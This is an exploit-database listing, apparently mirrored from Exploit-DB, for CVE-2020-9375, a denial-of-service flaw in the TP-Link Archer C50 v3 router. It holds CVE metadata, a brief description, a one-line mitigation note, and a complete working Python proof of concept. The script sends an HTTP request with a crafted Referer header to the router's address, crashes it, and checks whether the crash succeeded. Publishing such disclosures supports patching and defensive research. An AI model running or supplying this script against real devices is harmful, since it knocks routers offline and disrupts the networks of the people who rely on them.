header-logo
Suggest Exploit
vendor:
Archer C50 v3
by:
thewhiteh4t
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Archer C50 v3
Affected Version From: TP-Link Archer C50 v3 Build 171227
Affected Version To: TP-Link Archer C50 v3 Build 171227
Patch Exists: YES
Related CWE: CVE-2020-9375
CPE: h:tp-link:archer_c50_v3
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Arch Linux x64
2020

TP-Link Archer C50 3 – Denial of Service (PoC)

This exploit is for TP-Link Archer C50 v3 Build 171227. It is a denial of service attack which sends a malicious HTTP request to the target IP address. The request contains a 'Referer' header with the value 'thewhiteh4t'. This causes the router to crash and reboot.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update their router to the latest version.
Source

Exploit-DB raw data:

# Exploit Title: TP-Link Archer C50 3 - Denial of Service (PoC)
# Date: 2020-01-25
# Exploit Author: thewhiteh4t
# Vendor Homepage: https://www.tp-link.com/
# Version: TP-Link Archer C50 v3 Build 171227
# Tested on: Arch Linux x64
# CVE: CVE-2020-9375
# Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html

import time
import socket

ip = '192.168.0.1'
port = 80

print('[+] IP   : ' + ip)
print('[+] Port : ' + str(port))

for i in range(2):
	time.sleep(1)
	try:
		print('[+] Initializing Socket...')
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.settimeout(5)
		print('[!] Connecting to target...')
		s.connect((ip, port))
		header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip)
		header = header.encode()
		print('[!] Sending Request...')
		s.sendall(header)
		print('[!] Disconnecting Socket...')
		s.close()
		if i == 1:
			print('[-] Exploit Failed!')
			break
	except Exception as e:
		if 'Connection refused' in str(e):
			print('[+] Connection Refused...Exploit Successful!')
			break
		else:
			print('[-] Exploit Failed!')
			break